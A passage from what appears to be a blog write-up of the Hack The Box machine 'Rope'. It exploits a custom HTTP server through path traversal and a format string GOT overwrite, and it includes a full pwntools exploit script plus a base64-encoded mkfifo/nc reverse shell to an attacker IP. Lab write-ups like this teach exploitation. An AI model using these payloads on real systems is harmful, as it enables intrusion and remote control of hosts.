\/lib32\/libc-2.27.so\nf7fb8000-f7fb9000 rw-p 001d4000 08:02 660685                             \/lib32\/libc-2.27.so\nf7fb9000-f7fbc000 rw-p 00000000 00:00 0 \nf7fc5000-f7fc7000 rw-p 00000000 00:00 0 \nf7fc7000-f7fca000 r--p 00000000 00:00 0                                  &#x5B;vvar]\nf7fca000-f7fcc000 r-xp 00000000 00:00 0                                  &#x5B;vdso]\nf7fcc000-f7ff2000 r-xp 00000000 08:02 660681                             \/lib32\/ld-2.27.so\nf7ff2000-f7ff3000 r--p 00025000 08:02 660681                             \/lib32\/ld-2.27.so\nf7ff3000-f7ff4000 rw-p 00026000 08:02 660681                             \/lib32\/ld-2.27.so\nff98a000-ff9ab000 rw-p 00000000 00:00 0                                  &#x5B;stack]\n<\/pre><\/div>\n\n\n<p>Because the program is forking new child processes, the addresses will stay the same on every request.<\/p>\n\n\n\n<p><h3 id=\"fmt\">Exploit Format String Vulnerability<\/h3><\/p>\n\n\n\n<p>Since we now have leaked the memory maps of the process, we can forge an exploit for the format string vulnerability.<\/p>\n\n\n\n<p>As already mentioned, our goal is to overwrite an entry within the <code>GOT<\/code>. The only function, which is called after the <code>printf<\/code> is <code>puts<\/code> (line 20-22):<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"460\" height=\"348\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/10\/img03.png\" alt=\"\" class=\"wp-image-1611\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/10\/img03.png 460w, https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/10\/img03-300x227.png 300w\" sizes=\"(max-width: 460px) 100vw, 460px\" \/><\/figure>\n\n\n\n<p>The easiest way to get a shell by overwriting a single address is to use a <a rel=\"noreferrer noopener\" aria-label=\" (opens in a new tab)\" href=\"https:\/\/github.com\/david942j\/one_gadget\" target=\"_blank\">one_gadget<\/a> (see <a href=\"https:\/\/devel0pment.de\/?p=688#oneg\" target=\"_blank\" rel=\"noreferrer noopener\" aria-label=\" (opens in a new tab)\">my article on heap exploitation<\/a> for an explanation). The problem in this case is that the shell will be bound to <code>stdin\/stdout<\/code> (<code>fd 0\/1<\/code>), but we are interacting with the process through a socket connection (<code>fd 4<\/code>). In order to interact with the shell, we could call <code>dup2(4,0)<\/code> and <code>dup(4,1)<\/code>, which would bind <code>stdin<\/code> and <code>stdout<\/code> to the socket connection. Though, the format string vulnerability cannot be easily used to write all the data necessary to trigger those calls.<\/p>\n\n\n\n<p>Thus I decided not to use a one_gadget. Instead let&#8217;s have a look at the <code>puts<\/code> calls after the <code>printf<\/code> again:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"213\" height=\"66\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/10\/img05.png\" alt=\"\" class=\"wp-image-1613\"\/><\/figure>\n\n\n\n<p>The third <code>puts<\/code> on line <code>22<\/code> will print out the request method. We make the request. We control the request method. This means we control the one and only parameter to <code>puts<\/code>, which is a string. If we change <code>puts<\/code> to <code>system<\/code> by overwriting the <code>GOT<\/code> entry of <code>puts<\/code> with the address of <code>system<\/code>, we can trigger an arbitrary OS command. We only have to set the request method to the name of the program, we want to execute.<\/p>\n\n\n\n<p>The details on how to leverage a format string vulnerability to write data using the <code>%n<\/code> format specifier can also be read in <a href=\"https:\/\/devel0pment.de\/?p=351#lab4B\" target=\"_blank\" rel=\"noreferrer noopener\" aria-label=\" (opens in a new tab)\">my article on RPISEC\/MBE lab4B<\/a>. Though, let&#8217;s quickly recap the necessary steps. At first we need to know where on the stack the format string itself is located at the time <code>printf<\/code> is called. In order to do this, we set a breakpoint on the <code>printf<\/code> call \u2026<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [7,10]; title: ; notranslate\" title=\"\">\ngdb-peda$ disassemble log_access \nDump of assembler code for function log_access:\n...\n   0x565570e5 &lt;+110&gt;:\tmov    eax,DWORD PTR &#x5B;ebp-0x24]\n   0x565570e8 &lt;+113&gt;:\tsub    esp,0xc\n   0x565570eb &lt;+116&gt;:\tpush   eax\n   0x565570ec &lt;+117&gt;:\tcall   0x56556060 &lt;printf@plt&gt;\n... \nEnd of assembler dump.\ngdb-peda$ b *log_access+117\nBreakpoint 1 at 0x565570ec\ngdb-peda$ c\n<\/pre><\/div>\n\n\n<p>\u2026 and send a request to our local server:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope# echo -ne &#039;GET AAAA\\r\\n\\r\\n&#039;|nc 0 9999\nHTTP\/1.1 404 Not found\nServer: simple http server\nContent-length: 14\n\nFile not found\n<\/pre><\/div>\n\n\n<p>The breakpoint is hit:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [16]; title: ; notranslate\" title=\"\">\n&#x5B;----------------------------------registers-----------------------------------]\nEAX: 0xffffc984 (&quot;AAAA&quot;)\nEBX: 0x5655a000 --&gt; 0x4efc \nECX: 0x7fffffec \nEDX: 0xf7fb2010 --&gt; 0x0 \nESI: 0xdea8 \nEDI: 0xf7fb0000 --&gt; 0x1d6d6c \nEBP: 0xffffc8e8 --&gt; 0xffffd198 --&gt; 0xffffd2f8 --&gt; 0x0 \nESP: 0xffffc8b0 --&gt; 0xffffc984 (&quot;AAAA&quot;)\nEIP: 0x565570ec (&lt;log_access+117&gt;:\tcall   0x56556060 &lt;printf@plt&gt;)\nEFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)\n&#x5B;-------------------------------------code-------------------------------------]\n   0x565570e5 &lt;log_access+110&gt;:\tmov    eax,DWORD PTR &#x5B;ebp-0x24]\n   0x565570e8 &lt;log_access+113&gt;:\tsub    esp,0xc\n   0x565570eb &lt;log_access+116&gt;:\tpush   eax\n=&gt; 0x565570ec &lt;log_access+117&gt;:\tcall   0x56556060 &lt;printf@plt&gt;\n   0x565570f1 &lt;log_access+122&gt;:\tadd    esp,0x10\n   0x565570f4 &lt;log_access+125&gt;:\tsub    esp,0xc\n   0x565570f7 &lt;log_access+128&gt;:\tlea    eax,&#x5B;ebx-0x1e1e]\n   0x565570fd &lt;log_access+134&gt;:\tpush   eax\nGuessed arguments:\narg&#x5B;0]: 0xffffc984 (&quot;AAAA&quot;)\n&#x5B;------------------------------------stack-------------------------------------]\n0000| 0xffffc8b0 --&gt; 0xffffc984 (&quot;AAAA&quot;)\n0004| 0xffffc8b4 --&gt; 0xf7fcf0dc (&quot;127.0.0.1&quot;)\n0008| 0xffffc8b8 --&gt; 0xdea8 \n0012| 0xffffc8bc --&gt; 0x194 \n0016| 0xffffc8c0 --&gt; 0xffffd198 --&gt; 0xffffd2f8 --&gt; 0x0 \n0020| 0xffffc8c4 --&gt; 0xffffc984 (&quot;AAAA&quot;)\n0024| 0xffffc8c8 --&gt; 0xffffd1dc --&gt; 0xa8de0002 \n0028| 0xffffc8cc --&gt; 0x194 \n&#x5B;------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n\nThread 2.1 &quot;httpserver&quot; hit Breakpoint 1, 0x565570ec in log_access ()\ngdb-peda$ \n<\/pre><\/div>\n\n\n<p>Now we can search where on the stack the format string (<code>\"AAAA\"<\/code>) is located:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\ngdb-peda$ searchmem &quot;AAAA&quot;\nSearching for &#039;AAAA&#039; in: None ranges\nFound 3 results, display max 3 items:\n&#x5B;stack] : 0xffffb8e0 (&quot;AAAA\\r\\n\\r\\n&quot;)\n&#x5B;stack] : 0xffffbce0 (&quot;AAAA\\r\\n&quot;)\n&#x5B;stack] : 0xffffc984 (&quot;AAAA&quot;)\n<\/pre><\/div>\n\n\n<p>The string is stored on the stack three times. Since we can only reference items below the current stack address (higher address value), only the last one is suitable. In order to calculate the value for the argument selector we simply subtract this address from the current stack address and divide it by 4 (32bit):<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\ngdb-peda$ p\/d (0xffffc984-0xffffc8b0)\/4\n$1 = 53\n<\/pre><\/div>\n\n\n<p>Thus the argument selector which references the format string itself is <code>53<\/code>. We can quickly verify this by making the following request (remember to URL encode the percent sign <code>'%'<\/code>):<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope# echo -ne &#039;GET AAAA%2553$p\\r\\n\\r\\n&#039;|nc 0 9999\n...\n\nroot@kali:~\/htb\/boxes\/rope\/loot# .\/httpserver \nlisten on port 9999, fd is 3\naccept request, fd is 4, pid is 3700\n127.0.0.1:57002 404 - AAAA0x41414141\nrequest method:\nGET\n<\/pre><\/div>\n\n\n<p>The string <code>\"AAAA\"<\/code> is followed by the value <code>0x41414141<\/code>, which is indeed the format string. Thus we successfully determined the value for the argument selector.<\/p>\n\n\n\n<p>Before we can carry on, we need to determine a few addresses and offsets. Namely we need to know the following:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>address of image base<\/li><li>address of libc base<\/li><li>offset of <code>puts<\/code> <code>GOT<\/code> entry within the image<\/li><li>offset of <code>system<\/code> within the libc<\/li><\/ul>\n\n\n\n<p>We have already figured out, that we can leak the addresses through <code>\/proc\/self\/maps<\/code>. The following python script carries out the corresponding request and extracts the image base and libc base:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\n#!\/usr\/bin\/env python\n\nfrom pwn import *\n\ndebug = False\nrhost = &#039;10.10.10.148&#039;\nrport = 9999\nif (debug): rhost = &#039;127.0.0.1&#039;\n\n# leak image and libc base\nio = remote(rhost, rport)\nio.send(&#039;GET ..\/..\/proc\/self\/maps\\r\\nRange: bytes=0-10000\\r\\n\\r\\n&#039;)\nmaps = io.recvuntil(&#039;&#x5B;stack]&#039;).split(&#039;\\n&#039;)\nimg_base  = int(maps&#x5B;6].split(&#039;-&#039;)&#x5B;0], 16)  #  7th line contains image base\nlibc_base = int(maps&#x5B;12].split(&#039;-&#039;)&#x5B;0], 16) # 13th line contains libc base\nlog.info(&#039;img_base : &#039; + hex(img_base))\nlog.info(&#039;libc_base: &#039; + hex(libc_base))\nio.close()\n<\/pre><\/div>\n\n\n<p>Running the script displays both addresses:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope# .\/expl.py \n&#x5B;+] Opening connection to 10.10.10.148 on port 9999: Done\n&#x5B;*] img_base : 0x565ec000\n&#x5B;*] libc_base: 0xf7cff000\n<\/pre><\/div>\n\n\n<p>In order to determine the offset of the <code>GOT<\/code> entry of <code>puts<\/code>, we can for example use <code>gdb<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope\/loot# gdb .\/httpserver \nGNU gdb (Debian 8.3-1) 8.3\n...\ngdb-peda$ p &amp;&#039;puts@got.plt&#039; \n$1 = (&lt;text from jump slot in .got.plt, no debug info&gt; *) 0x5048 &lt;puts@got.plt&gt;\ngdb-peda$ \n<\/pre><\/div>\n\n\n<p>Accordingly the offset is <code>0x5048<\/code>.<\/p>\n\n\n\n<p>In order to determine the offset of the <code>system<\/code> function within the libc, we need to get the libc version from the server. Within the memory maps of the server process, we have already seen which libc is used: <code>\/lib32\/libc-2.27.so<\/code>. Let&#8217;s download it using <code>nc<\/code> (we must cut the first bytes, which contain the HTTP response header):<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope\/loot# echo -ne &#039;GET ..\/..\/lib32\/libc-2.27.so\\r\\n\\r\\n&#039;|nc 10.10.10.148 9999 &gt; libc-2.27.so.req\nroot@kali:~\/htb\/boxes\/rope\/loot# hexdump -C libc-2.27.so.req|head\n00000000  48 54 54 50 2f 31 2e 31  20 32 30 30 20 4f 4b 0d  |HTTP\/1.1 200 OK.|\n00000010  0a 41 63 63 65 70 74 2d  52 61 6e 67 65 73 3a 20  |.Accept-Ranges: |\n00000020  62 79 74 65 73 0d 0a 43  61 63 68 65 2d 43 6f 6e  |bytes..Cache-Con|\n00000030  74 72 6f 6c 3a 20 6e 6f  2d 63 61 63 68 65 0d 0a  |trol: no-cache..|\n00000040  43 6f 6e 74 65 6e 74 2d  6c 65 6e 67 74 68 3a 20  |Content-length: |\n00000050  31 39 32 36 38 32 38 0d  0a 43 6f 6e 74 65 6e 74  |1926828..Content|\n00000060  2d 74 79 70 65 3a 20 74  65 78 74 2f 70 6c 61 69  |-type: text\/plai|\n00000070  6e 0d 0a 0d 0a 7f 45 4c  46 01 01 01 03 00 00 00  |n.....ELF.......|\n00000080  00 00 00 00 00 03 00 03  00 01 00 00 00 00 90 01  |................|\n00000090  00 34 00 00 00 0c 5c 1d  00 00 00 00 00 34 00 20  |.4....\\......4. |\nroot@kali:~\/htb\/boxes\/rope\/loot# dd if=libc-2.27.so.req of=libc-2.27.so bs=1 skip=$(rax2 0x75)\n1926828+0 records in\n1926828+0 records out\n1926828 bytes (1.9 MB, 1.8 MiB) copied, 2.92157 s, 660 kB\/s\nroot@kali:~\/htb\/boxes\/rope\/loot# file libc-2.27.so\nlibc-2.27.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (GNU\/Linux), dynamically linked, interpreter \/lib\/ld-linux.so.2, BuildID&#x5B;sha1]=63b3d43ad45e1b0f601848c65b067f9e9b40528b, for GNU\/Linux 3.2.0, stripped\n<\/pre><\/div>\n\n\n<p>Now we can for example use <code>pwntools<\/code> to determine the offset of <code>system<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope\/loot# python\nPython 2.7.16+ (default, Sep  4 2019, 08:19:57) \n&#x5B;GCC 9.2.1 20190827] on linux2\nType &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.\n&gt;&gt;&gt; from pwn import *\n&gt;&gt;&gt; libc = ELF(&#039;libc-2.27.so&#039;)\n&#x5B;*] &#039;\/root\/htb\/boxes\/rope\/loot\/libc-2.27.so&#039;\n    Arch:     i386-32-little\n    RELRO:    Partial RELRO\n    Stack:    Canary found\n    NX:       NX enabled\n    PIE:      PIE enabled\n&gt;&gt;&gt; hex(libc.symbols&#x5B;&#039;system&#039;])\n&#039;0x3cd10&#039;\n<\/pre><\/div>\n\n\n<p>The offset is <code>0x3cd10<\/code>.<\/p>\n\n\n\n<p>In order to debug the program locally, we have to use the <code>system<\/code> offset from our local libc:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope\/loot# ldd httpserver \n\tlinux-gate.so.1 (0xf7fd3000)\n\tlibc.so.6 =&gt; \/lib32\/libc.so.6 (0xf7dd3000)\n\t\/lib\/ld-linux.so.2 (0xf7fd4000)\nroot@kali:~\/htb\/boxes\/rope\/loot# python\nPython 2.7.16+ (default, Sep  4 2019, 08:19:57) \n&#x5B;GCC 9.2.1 20190827] on linux2\nType &quot;help&quot;, &quot;copyright&quot;, &quot;credits&quot; or &quot;license&quot; for more information.\n&gt;&gt;&gt; from pwn import *\n&gt;&gt;&gt; libc = ELF(&#039;\/lib32\/libc.so.6&#039;)\n&#x5B;*] &#039;\/lib32\/libc.so.6&#039;\n    Arch:     i386-32-little\n    RELRO:    Partial RELRO\n    Stack:    Canary found\n    NX:       NX enabled\n    PIE:      PIE enabled\n&gt;&gt;&gt; hex(libc.symbols&#x5B;&#039;system&#039;])\n&#039;0x423d0&#039;\n<\/pre><\/div>\n\n\n<p>In order to write the address of <code>system<\/code> to the <code>GOT<\/code> entry of <code>puts<\/code>, we split the 4-byte-write into two 2-byte-writes using the format specifier <code>%hn<\/code>. Because of this we have to store the address of <code>puts_got<\/code> and <code>puts_got+2<\/code> at the beginning of the format string. After this we pad the output to create enough bytes to write the value of the <code>system<\/code> address (as mentioned before, details on this can be read in <a href=\"https:\/\/devel0pment.de\/?p=351#lab4B\" target=\"_blank\" rel=\"noreferrer noopener\" aria-label=\" (opens in a new tab)\">this article<\/a>):<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\n# calculate addresses\nputs_got = img_base + 0x5048 # live server\nsystem   = libc_base + 0x3cd10 # live server\nif (debug): system   = libc_base + 0x423d0 # local\nlog.info(&#039;puts_got : &#039; + hex(puts_got))\nlog.info(&#039;system   : &#039; + hex(system))\n\n# craft format string\nsystem_lword = system &amp; 0xffff\nsystem_hword = system &gt;&gt; 16\nfmt  = p32(puts_got)\nfmt += p32(puts_got+2)\nfmt += &#039;%25&#039;+str(system_lword-8)+&#039;x&#039;\nfmt += &#039;%2553$hn&#039;\nfmt += &#039;%25&#039;+str(system_hword-system_lword)+&#039;x&#039;\nfmt += &#039;%2554$hn&#039;\nio = remote(rhost, rport)\nio.send(&#039;GET &#039;+fmt+&#039;\\r\\n\\r\\n&#039;)\nio.interactive()\n<\/pre><\/div>\n\n\n<p>Let&#8217;s verify if the <code>GOT<\/code> entry is successfully overwritten by setting a breakpoint on the <code>printf<\/code> call and run the python script against our local server. When the breakpoint is hit before the <code>printf<\/code> call, the <code>GOT<\/code> entry contains the value <code>0x56556126<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [6,22]; title: ; notranslate\" title=\"\">\n...\n&#x5B;-------------------------------------code-------------------------------------]\n   0x565570e5 &lt;log_access+110&gt;:\tmov    eax,DWORD PTR &#x5B;ebp-0x24]\n   0x565570e8 &lt;log_access+113&gt;:\tsub    esp,0xc\n   0x565570eb &lt;log_access+116&gt;:\tpush   eax\n=&gt; 0x565570ec &lt;log_access+117&gt;:\tcall   0x56556060 &lt;printf@plt&gt;\n   0x565570f1 &lt;log_access+122&gt;:\tadd    esp,0x10\n   0x565570f4 &lt;log_access+125&gt;:\tsub    esp,0xc\n   0x565570f7 &lt;log_access+128&gt;:\tlea    eax,&#x5B;ebx-0x1e1e]\n   0x565570fd &lt;log_access+134&gt;:\tpush   eax\nGuessed arguments:\narg&#x5B;0]: 0xffffc9d4 --&gt; 0x5655a048 (&quot;&amp;aUV6aUVFaUVVaUV\\360*\\354\\367vaUV\\206aUV\\300\\a\\341\\367\\020=\\354\\367\\340-\\346\\367\\360v\\337\\367\\220\/\\354\\367p&#x5B;\\355\\367\\260\\244\\342\\367\\220\\253\\361\\367\\026bUV0\\266\\351\\367\\066bUV0H\\356\\367\\320]\\355\\367fbUV@H\\356\\367\\206bUV@\\224\\342\\367\\246bUVpb\\355\\367\\320:\\354\\367\\326bUV&quot;)\n&#x5B;------------------------------------stack-------------------------------------]\n0000| 0xffffc900 --&gt; 0xffffc9d4 --&gt; 0x5655a048 (&quot;&amp;aUV6aUVFaUVVaUV\\360*\\354\\367vaUV\\206aUV\\300\\a\\341\\367\\020=\\354\\367\\340-\\346\\367\\360v\\337\\367\\220\/\\354\\367p&#x5B;\\355\\367\\260\\244\\342\\367\\220\\253\\361\\367\\026bUV0\\266\\351\\367\\066bUV0H\\356\\367\\320]\\355\\367fbUV@H\\356\\367\\206bUV@\\224\\342\\367\\246bUVpb\\355\\367\\320:\\354\\367\\326bUV&quot;)\n0004| 0xffffc904 --&gt; 0xf7fcf0dc (&quot;127.0.0.1&quot;)\n...\n&#x5B;------------------------------------------------------------------------------]\nLegend: code, data, rodata, value\n\nThread 2.1 &quot;httpserver&quot; hit Breakpoint 1, 0x565570ec in log_access ()\ngdb-peda$ x\/xw 0x5655a048\n0x5655a048 &lt;puts@got.plt&gt;:\t0x56556126\n<\/pre><\/div>\n\n\n<p>Stepping over the <code>printf<\/code> call (<code>ni<\/code>), we can see that the value changed:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [4]; title: ; notranslate\" title=\"\">\ngdb-peda$ ni\n...\ngdb-peda$ x\/xw 0x5655a048\n0x5655a048 &lt;puts@got.plt&gt;:\t0xf7e1b3d0\n<\/pre><\/div>\n\n\n<p>This is actually the address of <code>system<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; highlight: [2]; title: ; notranslate\" title=\"\">\ngdb-peda$ p system\n$1 = {&lt;text variable, no debug info&gt;} 0xf7e1b3d0 &lt;system&gt;\n<\/pre><\/div>\n\n\n<p>Now all subsequent calls to <code>puts<\/code> will turn into calls to <code>system<\/code>:<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"213\" height=\"66\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2019\/10\/img05.png\" alt=\"\" class=\"wp-image-1613\"\/><\/figure>\n\n\n\n<p>This means that the program will call:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: cpp; gutter: false; title: ; notranslate\" title=\"\">\nsystem(&quot;&quot;);\nsystem(&quot;request method:&quot;);\nsystem(param_3+0x400);\n<\/pre><\/div>\n\n\n<p>The first two calls will probably fail, though we do not care. The third call uses the variable <code>param_3+0x400<\/code>, which is the request method as we already figured out. Let&#8217;s have a look at what is happening, if we change the request method to <code>\/bin\/sh<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\n...\nfmt += &#039;%25&#039;+str(system_hword-system_lword)+&#039;x&#039;\nfmt += &#039;%2554$hn&#039;\nio = remote(rhost, rport)\nio.send(&#039;\/bin\/sh &#039;+fmt+&#039;\\r\\n\\r\\n&#039;)\nio.interactive()\n<\/pre><\/div>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope\/loot# .\/httpserver \nlisten on port 9999, fd is 3\n...\nsh: 1: request: not found\n# id\nuid=0(root) gid=0(root) groups=0(root)\n# exit\n<\/pre><\/div>\n\n\n<p>We can actually see, that the server tried to run the program <code>request<\/code> from the second call. After this <code>\/bin\/sh<\/code> is executed, spawning a shell. However this shell is bound to <code>stdin\/stdout<\/code> of the server and we cannot interact with it. We can circumvent this by running a command, which gives us a detached shell. For this purpose I tried different reverse shells from <a href=\"http:\/\/pentestmonkey.net\/cheat-sheet\/shells\/reverse-shell-cheat-sheet\" target=\"_blank\" rel=\"noreferrer noopener\" aria-label=\" (opens in a new tab)\">pentestmonkey.net<\/a>. In order to avoid problems with special characters, we can base64 encode the reverse shell beforehand:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope# echo &#039;rm \/tmp\/f;mkfifo \/tmp\/f;cat \/tmp\/f|\/bin\/sh -i 2&gt;&amp;1|nc 10.10.12.95 7001 &gt;\/tmp\/f&#039; | base64 -w0\ncm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTAuMTAuMTIuOTUgNzAwMSA+L3RtcC9mCg==\n<\/pre><\/div>\n\n\n<p>And decode it on the server:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\npayload = &#039;echo cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTAuMTAuMTIuOTUgNzAwMSA+L3RtcC9mCg==|base64 -d|bash&#039;\n<\/pre><\/div>\n\n\n<p>Now the payload contains spaces, which will separate the request method from the requested resource. This won&#8217;t work, since we need all of the payload to be within the request method. In order to prevent spaces, we can use the <a href=\"https:\/\/en.wikipedia.org\/wiki\/Internal_field_separator\" target=\"_blank\" rel=\"noreferrer noopener\" aria-label=\" (opens in a new tab)\">internal field separator<\/a>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\npayload = payload.replace(&#039; &#039;, &#039;${IFS}&#039;)\nio.send(payload+&#039; &#039;+fmt+&#039;\\r\\n\\r\\n&#039;)\n<\/pre><\/div>\n\n\n<p>If we now listen on port <code>7001<\/code> and trigger our python script against the server, we successfully receive a reverse shell:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope# .\/expl.py \n&#x5B;+] Opening connection to 10.10.10.148 on port 9999: Done\n&#x5B;*] img_base : 0x565ec000\n&#x5B;*] libc_base: 0xf7cff000\n&#x5B;*] Closed connection to 10.10.10.148 port 9999\n&#x5B;*] puts_got : 0x565f1048\n&#x5B;*] system   : 0xf7d3bd10\n&#x5B;+] Opening connection to 10.10.10.148 on port 9999: Done\n&#x5B;*] Closed connection to 10.10.10.148 port 9999\n<\/pre><\/div>\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\nroot@kali:~\/htb\/boxes\/rope\/loot# nc -lvp 7001\nlistening on &#x5B;any] 7001 ...\n10.10.10.148: inverse host lookup failed: Unknown host\nconnect to &#x5B;10.10.12.95] from (UNKNOWN) &#x5B;10.10.10.148] 35190\n\/bin\/sh: 0: can&#039;t access tty; job control turned off\n$ id\nuid=1001(john) gid=1001(john) groups=1001(john)\n<\/pre><\/div>\n\n\n<p>Here is the full python script:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: python; title: ; notranslate\" title=\"\">\n#!\/usr\/bin\/env python\n\nfrom pwn import *\n\ndebug = False\n\nrhost = &#039;10.10.10.148&#039;\nrport = 9999\nlhost = &#039;10.10.12.95&#039;\nlport = 7001\nif (debug): rhost = &#039;127.0.0.1&#039;\n\n# leak image and libc base\nio = remote(rhost, rport)\nio.send(&#039;GET ..\/..\/..\/..\/..\/proc\/self\/maps\\r\\nRange: bytes=0-10000\\r\\n\\r\\n&#039;)\nmaps = io.recvuntil(&#039;&#x5B;stack]&#039;).split(&#039;\\n&#039;)\nimg_base  = int(maps&#x5B;6].split(&#039;-&#039;)&#x5B;0], 16) # 7th line contains image base\nlibc_base = int(maps&#x5B;12].split(&#039;-&#039;)&#x5B;0], 16) # 13th line contains libc base\nlog.info(&#039;img_base : &#039; + hex(img_base))\nlog.info(&#039;libc_base: &#039; + hex(libc_base))\nio.close()\n\n# calculate addresses\nputs_got = img_base + 0x5048 # live server\nsystem   = libc_base + 0x3cd10 # live server\nif (debug): system   = libc_base + 0x423d0 # local\nlog.info(&#039;puts_got : &#039; + hex(puts_got))\nlog.info(&#039;system   : &#039; + hex(system))\n\n# craft format string\nsystem_lword = system &amp; 0xffff\nsystem_hword = system &gt;&gt; 16\nfmt  = p32(puts_got)\nfmt += p32(puts_got+2)\nfmt += &#039;%25&#039;+str(system_lword-8)+&#039;x&#039;\nfmt += &#039;%2553$hn&#039;\nfmt += &#039;%25&#039;+str(system_hword-system_lword)+&#039;x&#039;\nfmt += &#039;%2554$hn&#039;\nio = remote(rhost, rport)\ncmd = &#039;rm \/tmp\/f;mkfifo \/tmp\/f;cat \/tmp\/f|\/bin\/sh -i 2&gt;&amp;1|nc &#039;+lhost+&#039; &#039;+str(lport)+&#039; &gt;\/tmp\/f&#039;\npayload = &#039;echo &#039;+cmd.encode(&#039;base64&#039;).replace(&#039;\\n&#039;,&#039;&#039;)+&#039;|base64 -d|bash&#039;\npayload = payload.replace(&#039; &#039;, &#039;${IFS}&#039;)\nio.send(payload+&#039; &#039;+fmt+&#039;\\r\\n\\r\\n&#039;)\nio.close()\n<\/pre><\/div>\n\n\n<p><h3 id=\"user_escalate\">Escalating from john to r4j (readlogs)<\/h3><\/p>\n\n\n\n<p>Let&#8217;s start by elavating our shell to a <code>TTY<\/code>. <code>python<\/code> cannot be found, though <code>python3<\/code> is available:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\n$ which python\n$ which python3\n\/usr\/bin\/python3\n$ python3 -c &#039;import pty;pty.spawn(&quot;\/bin\/bash&quot;)&#039;\nbash: \/root\/.bashrc: Permission denied\njohn@rope:\/opt\/www$ \n<\/pre><\/div>\n\n\n<p>If <code>python<\/code> would not be present at all we could use <code>script -q \/dev\/null<\/code> to get a <code>TTY<\/code>.<\/p>\n\n\n\n<p>By pressing <code>CTRL+Z<\/code> and entering <code>stty raw -echo<\/code> followed by <code>fg<\/code> we get a fully interactive shell.<\/p>\n\n\n\n<p>Before running a script like <a href=\"https:\/\/github.com\/rebootuser\/LinEnum\">LinEnum<\/a> I usually tend to dig around a little bit manually first. The home directory of our current user <code>john<\/code> doesn&#8217;t seem to contain something useful:<\/p>\n\n\n<div 